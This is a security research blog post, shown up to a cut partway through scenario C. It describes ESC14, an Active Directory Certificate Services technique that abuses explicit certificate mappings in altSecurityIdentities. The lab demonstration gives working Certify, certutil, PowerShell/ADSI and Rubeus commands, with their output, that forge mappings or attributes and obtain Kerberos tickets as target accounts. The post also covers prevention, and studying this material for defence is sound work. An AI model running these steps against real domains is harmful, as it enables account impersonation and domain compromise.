The altSecurityIdentities
attribute of Active Directory (AD) computers and users allows you to specify explicit certificate mappings. An explicit certificate mapping is a reference to a certificate. Anyone with a certificate matching the reference in an explicit certificate mapping of a principal can use this certificate to authenticate as the principal. An attacker can therefore abuse write access to the altSecurityIdentities
attribute of an AD computer or user to add an explicit certificate mapping referring to a certificate in the attacker’s possession, and then use this certificate to authenticate as the said computer or user.
This abuse technique is not new. In 2019, Géraud de Drouas described how an attacker that has compromised on-premises Exchange can perform the attack on this GitHub page: Public-Information property set includes Alt-Security-Identities, allows x509 certificate mapping to privileged users. Jean Marsault has demonstrated the attack in the Microsoft ADCS — Abusing PKI in Active Directory Environment blog post under the section named “ACL exploit on user objects (1)”.
Multiple types of explicit certificate mapping exist, which gives us multiple variations of abuse with different requirements. An attacker without write access to altSecurityIdentities
can compromise a principal with an already populated altSecurityIdentities
attribute if the attribute has a weak mapping (i.e., based on reusable identifiers), but only if the attacker has enrollment rights on a certificate template fitted for the mapping. The configuration of domain controllers (DCs) and the ongoing certificate-based authentication changes on Windows DCs also play a role in which explicit certificate mapping abuse variations are possible.
In this blog post, we will explore the variations of abuse of explicit certificate mapping in AD, what the requirements are, and how you can protect your environment against it.
To continue the categorization of ADCS abuse techniques, I call the abuse of explicit certificate mapping for ADCS abuse technique ESC14. Géraud de Drouas’s GitHub page is the earliest documentation of the abuse technique I was able to find and Géraud therefore deserves full credit for discovering it. I take the liberty of documenting and categorizing the abuse technique as ESC14 to bring awareness to the abuse opportunity’s existence, requirements, and prevention.
If you are new to ADCS abuse techniques or need a recap of how ADCS works, I recommend reading through the Background section of Lee Christensen and Will Schroeder’s Certified Pre-Owned whitepaper.
Since ESC14 abuses how certificate mapping works, you will need to understand certificate mapping to understand the abuse technique. Certificate mapping refers to the part of certificate authentication where the DC takes the principal (user or computer) data provided in the certificate you are authenticating with and attempts to map that to a user or computer in AD where data is matching.
Implicit certificate mapping is the default method. If you have executed any of the ADCS ESC1–11 attacks, then you have abused implicit certificate mapping. Oliver Lyak has published a great blog post describing how implicit certificate mapping works, and how you can abuse it in ESC9 and ESC10: Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and more!.
In short, the DC maps the otherName
component value of the certificate’s subject alternative name (SAN) extension to the userPrincipalName
(UPN) attribute of AD principals, known as UPN mapping, and maps the dNSName
component of the SAN extension to the dNSHostName
attribute, called DNS mapping. If fails mapping to the dNSHostName
attribute in DNS mapping, it will attempt to map the hostname (first part of dNSName
) appended with a $ to the sAMAccountName
attribute.
The mapping changes when the DC has strong certificate mapping enforced, which we will cover later in this blogpost.
As an alternative to implicit mapping, you can explicitly define in the attribute altSecurityIdentities
(Alt-Security-Identities) of users and computers which certificates the DCs should accept for authentication of the given user/computer. The attribute has the following Microsoft description: “Contains mappings for X.509 certificates or external Kerberos user accounts to this user for the purpose of authentication”. There is a more detailed description by Microsoft in the User Security Attributes documentation and here: KB5014754 — Certificate-based authentication changes on Windows domain controllers. We will not cover altSecurityIdentities
support for external Kerberos user mapping in this blog post; rather, we will focus on the X509 certificate mapping.
The mappings you can add in the attribute are strings that follow a defined syntax with identifiers from a certificate:
You can find the mapping identifiers in the following fields of an X509 v3 certificate:
PS C:\> certutil -dump -v .\cert.pfx
…
Serial Number: 7b0000014a797ee899f5b8fec700000000014a
…
Issuer:
CN=dumpster-DC01-CA
DC=dumpster
DC=fire
…
Subject:
CN=DC01.dumpster.fire
…
Certificate Extensions: 9
…
2.5.29.14: Flags = 0, Length = 16
Subject Key Identifier
1fb6c98efce349a9585f97bbb74806bc83be3d6b
…
2.5.29.17: Flags = 0, Length = 41
Subject Alternative Name
RFC822 [email protected]
…
Cert Hash(sha1): ef9375785421d3ad286d8bdeb166f0f697266992
…
The altSecurityIdentities
attribute needs the IssuerName
, SubjectName
, or SerialNumber
values in “forward” format, meaning that you have to reverse the values when writing them. You must keep the byte order for the serial number, so “A1B2C3” should result in “C3B2A1” and not “3C2B1A”.
With the identifiers of the example certificate above, the mappings look as follows:
X509:<I>DC=fire,DC=dumpster,CN=dumpster-DC01-CA<S>CN=DC01.dumpster.fire
X509:<S>CN=DC01.dumpster.fire
rfc822Name
component)):X509:<RFC822>[email protected]
X509:<I>DC=fire,DC=dumpster,CN=dumpster-DC01-CA<SR>4a0100000000c7feb8f599e87e794a0100007b
X509:<SKI>1fb6c98efce349a9585f97bbb74806bc83be3d6b
X509:<SHA1-PUKEY>ef9375785421d3ad286d8bdeb166f0f697266992
I have made a PowerShell function to create the X509IssuerSerialNumber mapping format string based on the issuer and serial number, as well as three other tiny functions for getting, adding, and removing altSecurityIdentities
mappings:
In ADCS, the certificate template dictates how the CA should populate the certificate’s Subject field and SAN extension based on the enrollee’s AD attributes. Next, let us figure out the requirement for a certificate template that allows us to obtain a certificate with the right fields populated and that we can use for explicit certificate mapping.
If you modify a certificate template of schema version 2 or higher in the Windows Certificate Template Console, you can choose what information about the enrollee/subject should go into the certificate under the Subject Name tab.
The top option “Supply in the request” enables the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
certificate flag, which allows the enrollee to specify the content of the Subject field and the SAN extension. This flag alone allows you to compromise any principal in the AD forest and is documented as ESC1 in the Certified Pre-Owned whitepaper.
The values selected under “Subject name format” go into the Subject field of the certificate, and the values under “Include this information in alternate subject name” go into the SAN extension. Here is an example of a certificate created with the certificate template in the screenshot above:
PS C:\> certutil -dump -v .\test.pfx
…
Subject:
[email protected]
CN=batman
OU=myusers
DC=external
DC=local
…
Certificate Extensions: 11
…
2.5.29.17: Flags = 0, Length = 38
Subject Alternative Name
Other Name:
Principal [email protected]
RFC822 [email protected]
…
The certificate template “Subject Name”-tab options correspond to flags in the msPKI-Certificate-Name-Flag
attribute of the certificate template. The flags whose names have the pattern CT_FLAG_SUBJECT_REQUIRE_<attribute>
are for the information that goes into the Subject field, and CT_FLAG_SUBJECT_ALT_REQUIRE_<attribute>
are for the SAN extension.
The mapping between the flags and AD attributes is straightforward for most of the flags. For example, the UPN option in the screenshot above corresponds to the SUBJECT_ALT_REQUIRE_UPN
flag, which will include the UPN in the certificate. However, there are a couple of confusing flags. The SPN option, corresponding to the SUBJECT_ALT_REQUIRE_SPN
flag, will not make the certificate contain the servicePrincipalName
(SPN) of the enrollee, but instead the UPN; just like the UPN flag.
Fortunately, the mapping is well explained in the msPKI-Certificate-Name-Flag flags documentation, and there is even more detail here.
The certificate templates of version 1 are a bit different. You have fewer options in the Windows Certificate Template Console, and you cannot modify them.
I have not been able to find documentation for how ADCS maps msPKI-Certificate-Name-Flag
flags of version 1 templates to enrollee attributes; however, from testing, it seems like the same rules apply as for version 2 templates.
We also need to consider what happens when a certificate template requires a given attribute from the enrollee, but the enrollee does not have the attribute or the attribute is not set. The short answer is (as always): It depends. Most of the flags are strong requirements (i.e., enrollment fails if the attribute is not set on the enrollee). However, there are exceptions, as the table below shows.
Some of the flags prevent default users/computers from enrolling in a given certificate template, as the attributes required are not set by default:
mail
mail
attribute set by defaultdNSHostName
dNSHostName
attribute, so users cannot enroll in certificate templates requiring dNSHostName
; computers will get their dNSHostName
attribute set when the computer is domain-joined, but the attribute will not be set automatically when you simply create a computer object in ADcn
cn
attribute set by defaultuserPrincipalName
UPN
attribute set by default; users doA common note regarding the above attributes is that users and computers cannot write to these attributes on their object, except computers that have validated write to their dNSHostName
attribute, which means they can write to the dNSHostName
attribute, but the DC will verify that the value aligns with the sAMAccountName
attribute of the computer.
Now we understand what enrollee attributes go into a certificate, and how the DC will match those values with the identifiers of the explicit certificate mappings. The next sections cover what we need to know for authentication with the certificates.
Although Microsoft documented how the Kerberos Distribution Center (KDC) will attempt to map a certificate to a principal here: 3.1.5.2.1 Certificate Mapping, this documentation does not make it super clear what mappings are possible with a given certificate. I have made the following observations when testing with Certify:
otherName
component in the SAN extension, then the KDC will attempt the implicit UPN mapping, and authentication will fail if that does not succeed; the KDC will not attempt explicit mapping in this case but will do so in all other casesdNSName
set for implicit DNS mapping, but explicit mapping against both users and computers works as wellrfc822Name
component under the SAN extension. However, you can enroll a certificate as a computer with the mail
attribute set and use that to authenticate as a user using X509RFC822 mappingCT_FLAG_SUBJECT_REQUIRE_EMAIL
, such that the CA adds the mail
attribute value to the Subject field in the certificate, it is not possible to perform X509SubjectOnly and X509IssuerSubject explicit mappingdistinguishedName
in X509SubjectOnly and X509IssuerSubject mappings, so the certificate template cannot have the SUBJECT_REQUIRE_DIRECTORY_PATH
flag for these mappingsThere is an exception to the first observation. You can turn off UPN mapping on a DC by setting the KDC reg key UseSubjectAltName
value to 0, which makes the KDC attempt explicit mapping even if the SAN has an otherName
component containing a UPN. This configuration is actually recommended by CISA on this page here: NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations. Side note: This setting blocks how ESC9 and ESC10 abuse UPN mapping; however, DNS mapping still works, so ESC9 and ESC10 using DNS mapping is still possible.
Strong Mapping
Microsoft updated how mapping works in 2022 due to several weaknesses identified in certificate mapping. Microsoft has described the changes here: KB5014754 — Certificate-based authentication changes on Windows domain controllers.
They added the SID of the enrollee as a new certificate extension:
PS C:\> certutil -dump -v .\cert.pfx
…
Certificate Extensions: 9
…
1.3.6.1.4.1.311.25.2: Flags = 0, Length = 42 0000 30 40 a0 3e 06 0a 2b 06 01 04 01 82 37 19 02 01 0@.>..+.....7...
0010 a0 30 04 2e 53 2d 31 2d 35 2d 32 31 2d 33 37 30 .0..S-1-5-21-370
0020 32 35 33 35 32 32 32 2d 33 38 32 32 36 37 38 37 2535222-38226787
0030 37 35 2d 32 30 39 30 31 31 39 35 37 36 2d 31 31 75-2090119576-11
0040 32 30 20
0000: 30 40 ; SEQUENCE (40 Bytes)
0002: a0 3e ; OPTIONAL[0] (3e Bytes)
0004: 06 0a ; OBJECT_ID (a Bytes)
0006: | 2b 06 01 04 01 82 37 19 02 01
| ; 1.3.6.1.4.1.311.25.2.1
0010: a0 30 ; OPTIONAL[0] (30 Bytes)
0012: 04 2e ; OCTET_STRING (2e Bytes)
0014: 53 2d 31 2d 35 2d 32 31 2d 33 37 30 32 35 33 35 ; S-1-5-21-3702535
0024: 32 32 32 2d 33 38 32 32 36 37 38 37 37 35 2d 32 ; 222-3822678775-2
0034: 30 39 30 31 31 39 35 37 36 2d 31 31 32 30 ; 090119576-1120
…
The DC uses this SID in strong implicit certificate mapping instead of the weak UPN and DNS mapping to ensure that the enrollee can only authenticate as themselves.
For explicit mapping, the update meant that mappings got a weak/strong type label as you can see in the table listing the supported explicit mappings. The strong ones contain identifiers that you cannot reuse. For example, the mail
attribute is not a unique protected attribute so it is possible to set the mail
attribute to the value of another user. On the other hand, the serial number of a certificate is unique for a given CA.
To enforce strong mapping in a controlled manner, Microsoft introduced a new KDC reg key value named StrongCertificateBindingEnforcement
, which can have the following values:
The disabled mode has been terminated, so the reg key value “0” is now interpreted as “1”. The date of full enforcement mode was originally set to May 19, 2023.
To support the compatibility mode, Microsoft introduced the CT_FLAG_NO_SECURITY_EXTENSION
flag for the msPKI-Enrollment-Flag
attribute of certificate templates. If present, the CA will not include the SID of the enrollee when issuing certificates.
Note that registry settings apply only to the host where you configure them. Therefore, DCs across the same AD domain (or forest) may have completely different configurations for UseSubjectAltName
and StrongCertificateBindingEnforcement
where some allow weak certificate mapping and others do not.
Schannel has its own way of performing certificate mapping. You can configure it on DCs with the Schannel reg key value named CertificateMappingMethods
, with the following flag options:
I have performed some testing with Certipy to figure out what mappings the flags enable. Here is what I found:
altSecurityIdentities
work if S4U2Self (0x000000008) is enabled, surprisingly not with S4U2Self ExplicitaltSecurityIdentities
do not work if the SAN of the certificate contains an otherName
(UPN) or dNSName
component and the KDC reg key UseSubjectAltName
has no impactaltSecurityIdentities
do not work with the Schannel S4U2Self option if the KDC has StrongCertificateBindingEnforcement
set to 2 (strong enforcement)altSecurityIdentities
I have not figured out how the Issuer entry and the S4U2Self Explicit entry can be used, but I am all ears if anyone knows more about explicit mapping over Schannel.
Our base scenario is that an attacker has compromised a victim principal (user or computer) to an extent that allows the attacker to enroll certificates as the victim (e.g. attacker has a session as the victim), and the attacker wants to compromise a target principal. In this section, we will explain different scenarios where the attacker can abuse the victim to compromise the target using explicit certificate mapping.
Many options and settings influence the possibility of explicit certificate mapping, as we explored in the previous sections. We can divide the possibilities of abuse into the following scenarios:
altSecurityIdentities
on the target. The attacker can enroll a certificate as a victim principal and add an explicit certificate mapping referring to this certificate in the altSecurityIdentities
attribute of the target. Then, the attacker can use the certificate to authenticate as the target.altSecurityIdentities
. The attacker can set the mail
attribute on a victim principal to match the X509RFC822 mapping of the target. Then, the attacker can enroll a certificate as the victim and use this certificate to authenticate as the target.altSecurityIdentities
. The attacker can set the cn
or dNSHostName
attribute on a victim principal to match the subject of the target’s X509IssuerSubject mapping. Then, the attacker can enroll a certificate as the victim, and use this certificate to authenticate as the target.altSecurityIdentities
. The attacker can set the cn or dNSHostName
attribute on a victim principal to match the subject of the target’s X509SubjectOnly mapping. Then, the attacker can enroll a certificate as the victim, and use this certificate to authenticate as the target.The scenarios all require a certificate template that meets the following requirements:
CT_FLAG_SUBJECT_ALT_REQUIRE_UPN
or CT_FLAG_SUBJECT_ALT_REQUIRE_SPN
in its msPKI-Certificate-Name-Flag
attribute:UseSubjectAltName
must be set to “0”CT_FLAG_SUBJECT_ALT_REQUIRE_DNS
or CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS
in its msPKI-Certificate-Name-Flag
attribute:CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL
or CT_FLAG_SUBJECT_REQUIRE_EMAIL
in its msPKI-Certificate-Name-Flag
attribute, then at least one of these requirements must be met:mail
attribute setmail
attribute of the victimFurthermore, we assume that the principal has Enroll
permission on an Enterprise CA, that meets the following requirements:
For details about requirements described in a high-level language, check out the Certified Pre-Owned whitepaper or the ADCS Attack Paths in BloodHound — Part 1 blogpost.
The next sections will outline the specific requirements for each of the ESC14 A-D scenarios. Here is an overview:
You can download the above table as an Excel sheet here: ESC14-Table.xlsx (no funny macros, I promise).
An attacker can abuse a victim principal to compromise a target principal if the following requirements are met.
Target Principal Requirements
The attacker has write access to the target’s altSecurityIdentities
attribute or the permission to grant it in the form of one of the following permissions on the target AD object:
- Write property altSecurityIdentities
- Write property Public-Information
- Write property (all)
- WriteDACL
- WriteOwner
*
- GenericWrite
- GenericAll
- Owner*
*Assuming the target is not a computer or Blocking Implicit Owner Rights has not been configured.
Authentication Requirements
The requirements for one of the two authentication protocols are met:
PKINIT:
Schannel:
Attack Steps
The attacker can execute the attack with the following steps:
altSecurityIdentities
attribute of the target principalIt may seem like an awful lot of requirements, but most of them are met by default. The default “Computer” (Machine) certificate template fulfills the requirements and grants Enroll
permission to the Domain Computers group. So if an attacker has write access to the altSecurityIdentities
attribute of a target principal then they can very likely compromise the target through an ESC14 Scenario A attack. The attack will even work if the environment enforces strong certificate mapping. The attacker is required to be able to enroll a certificate as a computer which requires the attacker to have an admin session on the computer or to have the credentials of the computer account. The attacker can potentially obtain this control over a computer by adding a computer to the domain, which any AD user is allowed to do 10 times by default (see Default limit to number of workstations a user can join to the domain).
An attacker can abuse a victim principal to compromise a target principal if the following requirements are met.
Target Principal Requirements
altSecurityIdentities
attribute contains at least one X509RFC822 mappingVictim Principal Requirements
mail
attribute of the victim principalAdditional Certificate Template Requirements
CT_FLAG_NO_SECURITY_EXTENSION
flag in its msPKI-Enrollment-Flag
attribute (not present by default)CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL
flag in its msPKI-Certificate-Name-Flag
attributeAuthentication Requirements
The requirements for one of the two authentication protocols are met:
PKINIT:
StrongCertificateBindingEnforcement
is set to 0/1 (compatibility mode — default until February 11, 2025)Schannel (both):
CertificateMappingMethods
contains S4U2Self (0x000000008) flag (default)StrongCertificateBindingEnforcement
is set to 0/1 (compatibility mode — default until February 11, 2025)Attack Steps
The attacker can execute the attack with the following steps:
mail
attribute of the victim principal to the email of the target’s X509RFC822 mappingAn attacker can abuse a victim principal to compromise a target principal if the following requirements are met.
Target Principal Requirements
altSecurityIdentities
attribute contains at least one X509IssuerSubject mappingVictim Principal Requirements
cn
and name
attributes of the victim principal (to change the cn
you also need write access to the name
attribute)cn
attribute value as an identifier, then the victim and target principal cannot be in the same container (the DC will not allow you to set the cn
of the victim to the cn
of the target if they are in the same container as that will mean they would have the same distinguishedName
)dNSHostName
attribute of the victim principalAdditional Certificate Template Requirements
CT_FLAG_NO_SECURITY_EXTENSION
flag in its msPKI-Enrollment-Flag attribute
(not present by default)msPKI-Certificate-Name-Flag
attribute:CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME
CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN
msPKI-Certificate-Name-Flag
attribute:CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
CT_FLAG_SUBJECT_REQUIRE_EMAIL
Additional Enterprise CA Requirements
IssuerName
in the target’s X509IssuerSubject mappingAuthentication Requirements
The requirements for one of the two authentication protocols are met:
PKINIT:
StrongCertificateBindingEnforcement
is set to 0/1 (compatibility mode — default until February 11, 2025)Schannel:
CertificateMappingMethods
contains S4U2Self (0x000000008) flag (default)StrongCertificateBindingEnforcement
is set to 0/1 (compatibility mode — default until February 11, 2025)CertificateMappingMethods
contains Subject/Issuer (0x000000001) flag (not default)Attack Steps
The attacker can execute the attack with the following steps:
cn
and name attribute) to the name of the target’s X509IssuerSubject mapping SubjectName
identifierdNSHostName
of the victim principal to the name of the target’s X509IssuerSubject mapping SubjectName
identifierAn attacker can abuse a victim principal to compromise a target principal if the following requirements are met.
Target Principal Requirements
altSecurityIdentities
attribute contains at least one X509SubjectOnly mappingVictim Principal Requirements
cn
and name
attributes of the victim principal (to change the cn
you also need write access to the name
attribute)cn
attribute value as an identifier, then the victim and target principal cannot be in the same container (the DC will not allow you to set the cn
of the victim to the cn
of the target if they are in the same container as that will mean they would have the same distinguishedName
)dNSHostName
attribute of the victim principalAdditional Certificate Template Requirements
CT_FLAG_NO_SECURITY_EXTENSION
flag in its msPKI-Enrollment-Flag attribute
(not present by default)msPKI-Certificate-Name-Flag
attribute:CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME
CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN
msPKI-Certificate-Name-Flag
attribute:CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
CT_FLAG_SUBJECT_REQUIRE_EMAIL
Authentication Requirements
The requirements for one of the two authentication protocols are met:
PKINIT:
StrongCertificateBindingEnforcement
is set to 0/1 (compatibility mode — default until February 11, 2025)Schannel (both):
CertificateMappingMethods
contains S4U2Self (0x000000008) flag (default)StrongCertificateBindingEnforcement
is set to 0/1 (compatibility mode — default until February 11, 2025)Attack Steps
The attacker can execute the attack with the following steps:
cn
and name attribute) to the name of the target’s X509SubjectOnly mapping SubjectName
identifierdNSHostName
attribute of the victim principal to the name of the target’s X509SubjectOnly mapping SubjectName
identifierIn this section, we will go through a demonstration of the four ESC14 scenarios.
The AD lab environment contains an attacker user with the required permissions to execute the ESC14 abuses. There is a victim and a target principal for each ESC14 scenario. The attacker has sessions as the victim users, and admin sessions on the victim computers.
Notice that the DCs do not have the same configuration. DC01 enforces strong certificate mapping for PKINIT but allows Subject/Issuer mapping over Schannel, whereas DC02 has the default configuration with compatibility mode for PKINIT and Schannel allowing S4U2Self and S4U2Self Explicit mapping. The Machine certificate template exists by default with this configuration, the two others are custom.
First, we (the attacker) use our admin session on VictimComputerA to request a certificate of the Machine certificate template as VictimComputerA, using Certify:
PS C:\> .\Certify.exe request /ca:extca01\external-EXTCA01-CA /template:Machine /machine _____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
[*] Action: Request a Certificates
[*] Elevating to SYSTEM context for machine cert request
[*] Current user context : NT AUTHORITY\SYSTEM
[*] No subject name specified, using current machine as subject
[*] Template : Machine
[*] Subject : CN=VictimComputerA.external.local
[*] Certificate Authority : extca01\external-EXTCA01-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 37
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAzkh/PkjRzDK8Hq3D1VSN9JIEl2fVJItMswiIrcx3taaPFkYm
mOE1K5DTmsEReQQKwWI4OgCM2MBpB9sdciyWyb+WoYMhhz0k3IsegvRJ/iuRw/c8
…
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFpzCCBI+gAwIBAgITbAAAACVZ+QTbxjjopQAAAAAAJTANBgkqhkiG9w0BAQsF
ADBPMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGDAWBgoJkiaJk/IsZAEZFghleHRl
…
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:03.5322398
We save the private key as cert-a.key
and the certificate as cert-a.pem
, and then create the cert-a.pfx
version of the certificate using the built-in Windows tool certutil:
PS C:\> certutil -MergePFX .\cert-a.pem .\cert-a.pfx
Signature test passed
Enter new password for output file .\cert-a.pfx:
Enter new password:
Confirm new password:
CertUtil: -MergePFX command completed successfully.
Using certutil again, we check the serial number and issuer distinguishedName
of the certificate:
PS C:\> certutil -Dump -v .\cert-a.pfx
X509 Certificate:
Version: 3
Serial Number: 6c0000002559f904dbc638e8a5000000000025
…
Issuer:
CN=external-EXTCA01-CA
DC=external
DC=local
…
We use the serial number and issuer distinguishedName
from the certificate to obtain the X509IssuerSerialNumber mapping format using Get-X509IssuerSerialNumberFormat:
PS C:\> Get-X509IssuerSerialNumberFormat -SerialNumber "6c0000002559f904dbc638e8a5000000000025" -IssuerDistinguishedName "CN=external-EXTCA01-CA,DC=external,DC=local"
X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c
We add the X509IssuerSerialNumber mapping to the altSecurityIdentities
attribute of the target (i.e., TargetUserA) using Add-AltSecIDMapping:
PS C:\> Add-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
We confirm that the DC did add the mapping, using Get-AltSecIDMapping:
PS C:\> Get-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local"
X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c
We use the certificate to request a Kerberos TGT for the target, using Rubeus. We can use any DC, as both DCs in the lab support strong certificate mapping:
PS C:\> .\Rubeus.exe asktgt /user:TargetUserA /certificate:.\cert-a.pfx ______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=VictimComputerA.external.local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'external.local\TargetUserA'
[*] Using domain controller: fe80::3074:3557:41f9:3c17%5:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGNjCCBjKgAwIBBaEDAgEWooIFRTCCBUFhggU9MIIFOaADAgEFoRAbDkVYVEVSTkFMLkxPQ0FMoiMw…
ServiceName : krbtgt/external.local
ServiceRealm : EXTERNAL.LOCAL
UserName : TargetUserA
UserRealm : EXTERNAL.LOCAL
StartTime : 2/21/2024 5:23:33 AM
EndTime : 2/21/2024 3:23:33 PM
RenewTill : 2/28/2024 5:23:33 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : s9+eIPwtd5lYa6dq0rnwvA==
ASREP (key) : 94705DE2E66049CE8D36160F1435FD81
The TGT as the target allows us to impersonate the target principal and the compromise is complete. We can then clean up the certificate mapping we added on the target using Remove-AltSecIDMapping:
PS C:\> Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
First, we (the attacker) set the mail
attribute of the VictimUserB user to match the email in the X509RFC822 mapping of the target, TargetUserB:
PS C:\> $victim = [ADSI]"LDAP://CN=VictimUserB,CN=Users,DC=external,DC=local"
$victim.Properties["mail"].Value = "[email protected]"
$victim.CommitChanges()
We then use our session as VictimUserB to request a certificate of the ExtMail certificate template as VictimUserB, using Certify:
PS C:\> .\Certify.exe request /ca:extca01\external-EXTCA01-CA /template:ExtMail _____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
[*] Action: Request a Certificates
[*] Current user context : EXTERNAL\victimuserb
[*] No subject name specified, using current context as subject.
[*] Template : ExtMail
[*] Subject : CN=VictimUserB, CN=Users, DC=external, DC=local
[*] Certificate Authority : extca01\external-EXTCA01-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 45
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxRWQbiyfV7O1WARQAn8ddHgLfNyE9dfebFE4cKCzapN5biHy
b0yoOdb3bM3Y8DuASNE93VbXEmGjci/+1aBOklJ965+BcEjHK0uhMrhL1qXrtz3U
…
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFrzCCBJegAwIBAgITbAAAAC34jGZ2zODqtQAAAAAALTANBgkqhkiG9w0BAQsF
ADBPMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGDAWBgoJkiaJk/IsZAEZFghleHRl
…
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:03.5868741
We save the private key as cert-b.key
and the certificate as cert-b.pem
, and then create the cert-b.pfx
version of the certificate using certutil:
PS C:\> certutil -MergePFX .\cert-b.pem .\cert-b.pfx
Signature test passed
Enter new password for output file .\cert-b.pfx:
Enter new password:
Confirm new password:
CertUtil: -MergePFX command completed successfully.
Using certutil again, we can confirm we have got the email in the SAN of the certificate:
PS C:\> certutil -Dump -v .\cert-b.pfx
…
2.5.29.17: Flags = 0, Length = 1c
Subject Alternative Name
RFC822 [email protected]
…
We use the certificate to request a Kerberos TGT for the target, using Rubeus. We need to use the DC that allows weak certificate mapping:
PS C:\> .\Rubeus.exe asktgt /user:TargetUserB /certificate:.\cert-b.pfx /dc:EXTDC02 ______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=VictimUserB
[*] Building AS-REQ (w/ PKINIT preauth) for: 'external.local\TargetUserB'
[*] Using domain controller: fe80::3074:3557:41f9:3c17%5:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGXDCCBligAwIBBaEDAgEWooIFaDCCBWRhggVgMIIFXKADAgEFoRAbDkVYVEVSTkFMLkxPQ0FMoiMw…
ServiceName : krbtgt/external.local
ServiceRealm : EXTERNAL.LOCAL
UserName : TargetUserB
UserRealm : EXTERNAL.LOCAL
StartTime : 2/26/2024 9:46:36 AM
EndTime : 2/26/2024 7:46:36 PM
RenewTill : 3/4/2024 9:46:36 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : ggcSW7KqJJEUwNWWYtWC1g==
ASREP (key) : DCD1B365B6BC8A3BFD99C2127889C048
The TGT as the target allows us to impersonate the target principal and the compromise is complete.
The target computer, TargetComputerC, has the explicit mapping: X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<S>CN=TargetComputerC.external.local
. We (the attacker) need to set the cn
attribute to TargetComputerC.external.local
on the victim, VictimUserC, to get a certificate as VictimUserC matching this mapping. The DC does not allow you to set the cn
attribute only, you need to set the name
attribute as well to the same value. The DC will do it for you when you rename the user:
PS C:\> $user = [ADSI]"LDAP://CN=VictimUserC,CN=Users,DC=external,DC=local"
$user.Rename("CN=TargetComputerC.external.local")
The sAMAccountName
and UPN remain the same after the rename:
PS C:\> Get-ADUser VictimUserCDistinguishedName : CN=TargetComputerC.external.local,CN=Users,DC=external,DC=local
Enabled : True
GivenName :
Name : TargetComputerC.external.local
ObjectClass : user
ObjectGUID : 371d805c-b12f-4dac-a32a-bdbd7c796dee
SamAccountName : VictimUserC
SID : S-1-5-21-3702535222-3822678775-2090119576-1184
Surname :
UserPrincipalName : [email protected]
We use our session as VictimUserC to request a certificate of the ExtMail certificate template as VictimUserC, using Certify:
PS C:\> .\Certify.exe request /ca:extca01\external-EXTCA01-CA /template:ExtMail _____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
[*] Action: Request a Certificates
[*] Current user context : EXTERNAL\VictimUserC
[*] No subject name specified, using current context as subject.
[*] Template : ExtMail
[*] Subject : CN=TargetComputerC.external.local, CN=Users, DC=external, DC=local
[*] Certificate Authority : extca01\external-EXTCA01-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 46
[*] cert.pem :
